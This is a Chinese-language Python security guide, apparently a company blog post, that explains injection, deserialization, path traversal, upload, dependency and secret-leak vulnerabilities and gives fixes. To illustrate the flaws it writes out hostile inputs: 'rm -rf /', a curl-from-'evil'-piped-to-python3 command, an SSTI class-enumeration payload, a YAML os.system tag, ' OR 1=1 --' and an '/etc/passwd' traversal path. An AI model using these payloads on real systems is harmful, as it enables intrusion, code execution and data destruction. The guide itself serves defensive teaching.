☰
Python安全实战:七类高危漏洞原理与修复方案
2026/10/22 6:01:31 网站建设 项目流程

做Python开发这些年,我见过最吓人的一句代码不是哪个黑魔法技巧,而是随手写下的os.system(f"cat {user_input}")。它看起来简单、直接、符合直觉,但只要是能输入; rm -rf /的服务器,就能在几秒钟之内被打穿。这篇指南算是我在Python安全方向上踩坑、复盘、修复之后的一次系统性整理,覆盖了命令注入、SQL注入、模板注入、反序列化、路径穿越、依赖供应链和敏感信息泄露这几类最高频的漏洞。每一类我都会拆开讲清楚攻击原理、复现方式和能直接抄的修复方案,不是只丢几条建议就完事。适合后端开发、运维、全栈工程师,以及所有写过Python、以后还想把它写得更稳的人。

1. 先搞清楚敌人是谁:Python漏洞全景认知

1.1 主流漏洞类型与威胁模型

在动手修漏洞之前,建议先给自己配一张地图。Python生态里最常见的漏洞其实很有规律,我按出现频率和破坏力整理成了下面这张表。你会发现它和经典Web漏洞清单高度重合,但Python动态语言的特征又让某些攻击变得异常顺手。

漏洞类型典型攻击入口风险等级常见脆弱写法
命令注入subprocess、os.system极高shell=True,字符串拼接命令
SQL注入数据库查询极高f-string/format拼接SQL
模板注入SSTIJinja2等模板渲染高渲染不可信的用户输入模板
反序列化pickle、yaml.load极高直接加载不可信数据
路径穿越文件读写接口高用用户文件名直接拼路径
供应链攻击pip install高无锁文件、无依赖审计
敏感信息泄露代码、日志、配置高硬编码密钥、打印密码

这张表对应到安全社区常说的攻击面。威胁模型不用搞得太复杂,你只需要记住一句话:凡是用户能控制的数据,一旦进入了解释器、数据库、文件系统或者模板引擎的“信任边界”,风险就出现了。把这个边界画出来,你会发现大多数漏洞都集中在“输入”和“输出”之间缺少了一道校验。

1.2 为什么Python特别容易踩中这几类坑

Python看起来安全,是因为它不管理内存,也不让你手动释放资源,但这不意味着它能帮你挡住注入和反序列化。真正让它容易中招的是这几点。

第一,动态类型和鸭子类型让数据来源变得极难追踪。一个变量可能是用户请求里的字符串,也可能是内部计算出来的整数,到调用点的时候已经没人记得它是否干净。第二,eval、exec、pickle、yaml.load这些“功能强大”的内置能力天然就是攻击面,它们能解析字符串,也能在解析过程中执行代码。第三,Python社区交付速度太快,依赖关系经常是“装完就跑”,没人认真看传递依赖里有什么。第四,Flask、Django等高人气框架的开发门槛低,很多新人直接把示例代码复制进生产环境,示例里为了演示方便的写法也就一起上线了。

我把这个现象类比成装修:框架是精装房,住进去很舒服,但水电线路(输入校验、权限控制)都是你自己接的,接错一根线,整栋楼都跟着遭殃。所以,接下来的每一类漏洞,我都会先给你看“错误是怎么接线的”,再告诉你“正确的接线方式长什么样”。

2. 注入类漏洞:三个最经典的攻击入口

2.1 命令注入:当shell=True成为噩梦

命令注入是所有安全漏洞里最直白的一种。攻击者把命令片段塞进参数,应用又把这串参数原封不动地交给了系统Shell。最早我见过一段代码,作用是让用户传入文件名然后打印内容:

import os user_input = request.GET.get('filename', '') os.system(f"cat {user_input}")

这段代码在开发环境跑得好好的,直到有人输入了data.txt; whoami。os.system会把整条字符串当成一条Shell命令执行,分号后面的whoami也跟着跑了起来。如果有人输入data.txt; curl http://evil/x.py | python3,服务器就变成人家的肉鸡了。

修复方式其实很简单,核心是不要经过Shell,直接传参数列表给底层命令:

import subprocess user_input = request.GET.get('filename', '') subprocess.run(['cat', user_input], check=False)

subprocess.run接收的是参数列表,第一个元素是程序路径,后面的每个元素都会被操作系统当作独立的参数传递,不经过Shell解析,所以; whoami这类语法会原样被当成文件名的一部分,起不了作用。如果确实需要Shell的特性(比如管道、通配符),那就得做严格的白名单校验,而不是依赖黑名单去过滤分号、竖线那些字符。

这里有一个我知道很多人会踩的坑:在Windows上用subprocess.run传列表时,某些参数如果以特殊字符开头,仍然会被Shell解析。更安全的做法是同时开启shell=False,并尽量避免传用户拿到的字符串直接作为命令主体。实在绕不开Shell时,建议用shlex.quote()对每一个参数做转义,但请记住,转义只是临时措施,白名单才是终极解。

2.2 SQL注入:参数化没你想象的复杂

SQL注入的历史比Python还老,但直到今天,我仍然会在线上项目里看到这样的写法:

username = request.form.get('username') query = f"SELECT * FROM users WHERE username = '{username}'" cursor.execute(query)

攻击者只要输入' OR 1=1 --,这条SQL就变成了“查询所有用户”,登录验证直接形同虚设。更狠的还能用UNION SELECT拖走其他表的数据。

修复方案不是转义,而是参数化查询。拿psycopg2操作PostgreSQL举例:

username = request.form.get('username') cursor.execute( "SELECT * FROM users WHERE username = %s", (username,) )

这里面的关键点在于,%s是占位符,数据库驱动会拿到username的原始值,然后通过协议把值和SQL语句分开发送给数据库服务端,由数据库自己做安全的类型转换和转义。无论输入长什么样,它都只是“一个值”,绝不可能变成SQL语法的一部分。

如果你用的是SQLAlchemy,也要注意写法。text()函数支持参数绑定:

from sqlalchemy import text result = db.session.execute( text("SELECT * FROM users WHERE username = :username"), {"username": username} )

记住这个原则:永远不要用字符串拼接SQL,永远不要用format或f-string把变量塞进SQL语句。不管底层是什么数据库、什么ORM,参数化这条路是通用的。唯一需要留神的是不同驱动占位符不同,psycopg2用%s,MySQLdb用%s,SQLite的?,SQLAlchemy的:name,这些是语法差异,原理一样。

2.3 模板注入(SSTI):渲染不可信模板的代价

模板注入(SSTI)是Python Web应用特有的高危漏洞。它发生在用户能控制模板内容,或者能把变量伪装成模板语法的时候。Jinja2是Flask默认的模板引擎,很多教程会教你用它做动态页面,但很少有人提醒你下面的写法是个雷:

from flask import request from jinja2 import Template user_template = request.args.get('tpl') html = Template(user_template).render()

如果攻击者传入的tpl是{{ 7 * 7 }},页面会返回49。那还好,但如果传入{{ ''.__class__.__mro__[2].__subclasses__() }},对方就能枚举出Python进程里加载的所有类,找到可利用的链子执行系统命令。

修复方案说起来也简单:永远不要把用户输入作为模板代码来渲染。用户的数据只能当“数据”,不能当“模板”。如果一定要让用户自定义模板(比如邮件模板、报表模板场景),必须做到下面几件事:

  • 模板内容存放在受信任的数据库或文件里,不允许通过请求参数直接提交。
  • 如果需要渲染用户传来的普通文本,改用{{ value }}传参,Jinja2会自动转义HTML,但这不能防模板注入,因为注入点在模板本身。
  • 真要提供模板能力,建议引入独立的沙箱环境,或者在模板渲染之前做语法层面的白名单校验,把危险的内置函数过滤掉。不过我要说句实在话,Jinja2的sandboxed环境是实验性的,不能当作唯一防线。

2.4 注入修复的三个通用原则

我把这三类注入放在一起,是因为它们的修复思路完全一致。

第一,所有用户输入一律视为不可信数据。不管是URL参数、表单字段、请求头、Cookie还是上传的文件名,进到代码里先过一道“身份审查”。

第二,用结构化接口代替字符串拼接。执行命令传参数列表,执行SQL用参数化占位符,渲染模板只传值不传模板代码,本质都是让“数据”和“指令”分离,这是防止注入最有效的手段。

第三,白名单验证优先于黑名单过滤。黑名单永远不完整,;、|、&&、%00、%0a这些你都能想到,但攻击者还有编码、大小写、嵌套语法各种变体。白名单明确“只允许这些”,直接堵死。

3. 反序列化与不安全文件处理:藏在数据交换里的炸弹

3.1 pickle不是用来装不可信数据的

第一次看到pickle漏洞演示的时候,我整个人是震惊的。因为很多人(包括曾经的我)把pickle当成“把对象存成文件再读回来”的方便工具,根本不知道它在读取过程中可以执行任意代码。

脆弱写法长这样:

import pickle data = pickle.loads(request.body)

pickle.loads本质上是在重建Python对象,重建过程会触发对象里定义的__reduce__方法。攻击者只要构造一个恶意对象,在__reduce__里塞入os.system和命令字符串,你的服务器就会在被唤醒的那一刻执行这个命令。这意味着:任何人只要能往你pickle的数据里塞一丁点内容,就等于拿到了一台远程代码执行主机。

修复方案:

  • 不要对不可信来源使用pickle。如果数据可能来自外部请求、消息队列、缓存系统,直接改用JSON。
  • 如果因为历史原因必须用pickle,至少给数据加签名或消息认证码,确保只有你自己服务端签发的内容才被加载。
  • 对pickle加载的入口做网络隔离,把它当成一个高危接口来管理。

JSON方案最大的缺点是只能表达基础类型,不能直接序列化自定义对象。我的折中做法是把数据先转换成字典或列表,再用json.dumps序列化,读出来之后再手动构造对象。麻烦是麻烦了点,但安全这件事本来就不能懒。

3.2 YAML的safe_load与JSON的正确打开方式

YAML也是反序列化漏洞重灾区。yaml.load默认会解析Python对象标签,比如!!python/object/apply:os.system ["whoami"],这几乎就是为远程执行准备的入口。正确写法是用yaml.safe_load,它只解析纯数据,不执行任何自定义标签。

import yaml # 危险 data = yaml.load(content) # 安全 data = yaml.safe_load(content)

同样的问题也出现在eval上。我看到有人用eval去解析配置数据,理由是“用户模板里需要做简单计算”。这样的设计等于给攻击者开了一扇直通解释器的门。如果只是要解析列表、字典、字符串,请用ast.literal_eval,它只会解析Python的字面量表达式,不会执行任意代码。

3.3 路径穿越:看似无害的filename别乱拼

文件读写是另一个容易忽略的攻击面。典型脆弱代码是把用户传的文件名直接拼进路径:

base_dir = "/app/uploads" filename = request.args.get('file') path = base_dir + "/" + filename with open(path) as f: return f.read()

攻击者传../../../../etc/passwd就能把系统关键文件读走。哪怕你的业务逻辑看起来只是“下载上传过的文件”,也不能心存侥幸。

修复方案要兼顾两层:一层是“规范化路径”,一层是“校验最终路径确实在允许目录内”。我习惯用pathlib写:

from pathlib import Path BASE_DIR = Path("/app/uploads").resolve() filename = request.args.get('file') target = (BASE_DIR / filename).resolve() if not target.is_relative_to(BASE_DIR): raise ValueError("非法路径") with open(target) as f: return f.read()

第一行BASE_DIR.resolve()先把允许目录变成绝对路径,第二行组合后再次resolve()把../和符号链接全部展开,最后用is_relative_to判断目标是否还在允许目录内部。这套流程能防住大部分路径穿越。还要注意一个问题:URL里的文件名可能被编码过,比如%2e%2e%2f会被解码成../,所以校验前必须先做解码。另外Windows路径里的反斜杠\跟正斜杠/同样有效,如果服务部署在Windows上,要把这两种都纳入检查。

4. 文件上传与供应链安全:两道最容易忽视的关卡

4.1 文件上传的伪造与防御

文件上传漏洞四处漏风,是因为很多教程只教你“接收文件、保存文件”,没跟你说“如何验证这个文件真的是它自称的东西”。

只看扩展名是完全不够的。攻击者可以传一个shell.php.png,扩展名看似安全,内容却是PHP代码;也可以直接改Content-Type头,把一个可执行文件伪装成image/png。我见过最离谱的被攻击方式,是攻击者把恶意代码藏在图片的EXIF里,读取方拿到图片后去解析EXIF,结果触发了二次漏洞。

防御策略我按优先级排列:

  1. 扩展名白名单,而不是黑名单。只允许.png、.jpg、.pdf等你知道安全的后缀,其他一律拒绝。
  2. 检查文件内容,也就是俗称的“魔术字节”。PNG文件头是\x89PNG\r\n\x1a\n,JPEG是\xff\xd8\xff,PDF是%PDF。可以读前几个字节做比对。
  3. 重命名存储文件。不要把用户原始文件名落到服务器上,统一改成随机字符串加白名单后缀,从源头干掉路径穿越和特殊字符问题。
  4. 上传目录不要放在可执行文件目录下,也不要和应用代码目录混在一起。

简单示例:

ALLOWED_SUFFIXES = {'png', 'jpg', 'jpeg', 'pdf'} def check_upload(filename: str, first_bytes: bytes) -> None: suffix = filename.rsplit('.', 1)[-1].lower() if suffix not in ALLOWED_SUFFIXES: raise ValueError("不支持的文件类型") if suffix == 'png' and not first_bytes.startswith(b'\x89PNG\r\n\x1a\n'): raise ValueError("文件内容与后缀不匹配")

“恶意GIF”这种压缩格式还会玩“多层解析”的花样:认证模块看到的是GIF,解析器看到的是脚本。光靠文件头不够,最稳妥的是对上传后的文件再做一次隔离扫描,或者用专用的文件处理库去解码并重新编码。重新编码能把藏匿在压缩层里的数据直接碾碎。

4.2 依赖库漏洞:pip装的是依赖也是风险

写Python的人都有过这种经历:pip install一下子装上几十个包,每个包又有自己的依赖,根本不知道全貌。等你发现某个传递依赖爆出安全漏洞的时候,可能已经被人扫过了。

依赖方面的风险主要有三类:第一,顶层直接用户装的包存在已知漏洞;第二,传递依赖里的漏洞你压根没意识到;第三,攻击者注册了一个和你内部包很像的名字,诱导开发者安装“依赖混淆”包。

治理这件事,我有几个固定动作,强烈建议照做。

  • 用requirements.txt锁定版本,别只用>=。写pandas==2.1.4这种精确版本,能减少“昨天还能跑,今天升级崩了/出漏洞了”的意外。
  • 如果项目用pip,可以加--require-hashes配合hash校验安装。
  • 定期跑依赖漏洞审计工具。目前社区里常用的有pip-audit和safety,它们会拉取漏洞库,对比你当前的依赖版本,输出已知CVE列表。
pip install pip-audit pip-audit safety check --full-report

pip-audit的输出会告诉你哪个包、哪个版本、对应哪个漏洞编号、建议升级到什么版本。我第一次跑就发现了四个中危问题,其中一个是我根本没听过名字的传递依赖,那感觉就像在一个看似干净的房间里摸出一窝灰。

4.3 在CI阶段把安全扫描变成习惯

安全工作最好在代码提交之前就介入,而不是等上线被攻击后再补救。我目前的实践是在CI流水线里挂两个静态任务。

第一个是bandit,专门做Python代码静态安全分析。它能扫描出subprocess使用、eval、pickle.loads、SQL拼接这些危险点,并给出严重等级。比如这条:

bandit -r . -f json -o bandit_report.json

第二个是pip-audit,在构建镜像之前跑一遍依赖审计。两个任务都只在有变更时跑,耗时通常不超过一分钟,换来的是在问题进入生产环境之前就拦截。

有人会抱怨扫描工具吵,误报多。我的态度是:先把误报规则理清楚,无伤大雅的可以关掉,但高危规则绝不能关。安全问题宁可“错杀一千”,也不能放过一个。

5. 敏感信息泄露与运行时防护:别把钥匙放在门口地毯下

5.1 硬编码密钥的教训

我接手过一个线上系统,打开配置文件第一行就是:

API_KEY = "sk-1234567890abcdef" SECRET_TOKEN = "my-super-secret"

最让人头大的是,这份代码已经提交到版本库大半年,有一位同学还把它贴到内部聊天工具里请求帮助。也就是说,密钥已经出现在三种不该出现的地方:代码库、聊天记录、可能还有同事的本地文件。

硬编码密钥的风险不是“现在有没有人看到”,而是“泄露之后你根本不知道泄露范围”。一旦密钥流动起来,唯一的止损手段就是立刻轮换密钥,并审计密钥相关的访问日志。所以在项目一开始就要养成习惯:代码里只存在密钥的引用,不存在密钥本身。

5.2 环境变量与密钥管理

最简单的密钥管理方案是用环境变量。部署平台会提供注入环境变量的能力,本地开发可以用.env文件配合python-dotenv。

import os from dotenv import load_dotenv load_dotenv() DATABASE_URL = os.environ["DATABASE_URL"] API_KEY = os.environ["API_KEY"]

这里有一个关键细节:.env文件不要提交进版本库,一定要写进.gitignore。如果仓库已经提交过.env,那里面所有的密钥都要视为已泄露,立刻轮换。对于更高安全等级的场景,可以引入专门的密钥管理服务,由服务动态下发密钥给应用,而不是把密钥存在环境变量哪怕只是明文文件里。

不过我想强调的是,用什么工具都是表象,真正的安全习惯是“不要让自己成为唯一知道密钥存放位置的人”。运维和核心开发者之间要有明确的密钥归属和轮换机制,这才是不花一分钱就能做到的防护。

5.3 日志里的小细节

敏感信息泄露不只在代码里,日志是更大的泄洪口。我见过有人把登录密码整整齐齐地打进日志:

logging.info("User %s login with password %s", user, password)

这行日志一旦被采集系统同步给第三方或者被攻击者读到,后果不堪设想。日志应该是审计用的,不是给运维看热闹的。正确的日志内容只需要记录事件类型、用户标识、时间、来源IP和结果,密码、令牌、Cookie、身份证号这类信息一律不录。

如果你需要记录请求体做调试,记得先做脱敏。简单写个函数把所有敏感字段替换成掩码:

import re SENSITIVE_FIELDS = {"password", "token", "secret", "api_key"} def mask_sensitive(data: dict) -> dict: for key in SENSITIVE_FIELDS: if key in data: data[key] = "***" return data

6. 常见问题速查与实战排查记录

6.1 执拗的参数化查询踩坑经历

有次我修复一个老项目,把cursor.execute(("SELECT ... WHERE name = %s") % name)改成了参数化写法,以为万事大吉。结果测试的时候发现,同事在另一个地方用PyMySQL的时候写成了cursor.execute(sql % (name,)),占位符还没发挥作用就被%运算符先替换了一次,攻击输入照样能嵌入SQL。后来我不厌其烦地给团队立了条规矩:在代码里禁用字符串格式化和f-string去拼接SQL,任何形式的%和.format()出现在SQL语句附近都要被审查。这条路踩过坑之后你才会懂,为什么安全修复永远不是“改一行代码”,而是“把错误模式连根拔掉”。

6.2 Bandit扫描误报处理

bandit跑出来的结果不一定全对,比如它在某些ORM封装里会把“可能传SQL”的代码标成B608(SQL注入)。遇到这种情况,我建议你先读一遍报错位置的上下文,确认确实没有用户可控数据进入SQL,再决定是否加# nosec注释。但加注释之前一定要问自己:我真的确定吗?大部分所谓误报,仔细追下去其实还是存在风险,只是攻击路径更绕而已。

6.3 修复优先级决策表

一次扫描发现几十个问题时,不可能全都不睡觉熬夜修,要按影响范围排优先级。我一般按这个表来决策:

优先级场景建议行动
P0命令注入或反序列化接口暴露给公网立即下线或热修复,审计全部日志
P0硬编码密钥代码已进入版本库并外传立刻轮换密钥,检查泄露面
P1存在已知CVE但暂无利用链的依赖库尽快升级,补齐审计任务
P1SQL注入点能被带外请求触发优先参数化,发布前全量回归
P2低风险路径穿越、逻辑缺陷纳入当前迭代,同步修改接口设计
P3代码风格、日志冗余等优化下个迭代一并处理

如果你不确定某个漏洞实际威胁多大,我建议你用最保守的估计:如果你的应用能被外部访问,所有漏洞都是P0。把网上那些“内网就没事”的说法都忘掉,内网横向移动的成本低得惊人。

结尾

最后分享几个我自己养成的习惯。拿到任何输入,先问一句“这数据可信吗”,不可信就走校验流程;写完业务逻辑,回头扫一眼有没有用字符串拼过SQL、拼过命令、拼过路径;提交代码前跑一遍bandit和pip-audit,也就是十几秒的事,但它真的可以在生产事故之前拦住你。每次有人跟我说“这个接口是内部用的,不会有人攻击”,我都会想起之前那个内部系统被扫荡到宕机的案例。安全这件事,防的不是“有人专门盯着你”,而是“有人顺手扫到了你”。把该做的防护做到位,等于给自己的代码穿上了一层防弹衣,这比任何事后补救都省钱省心。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询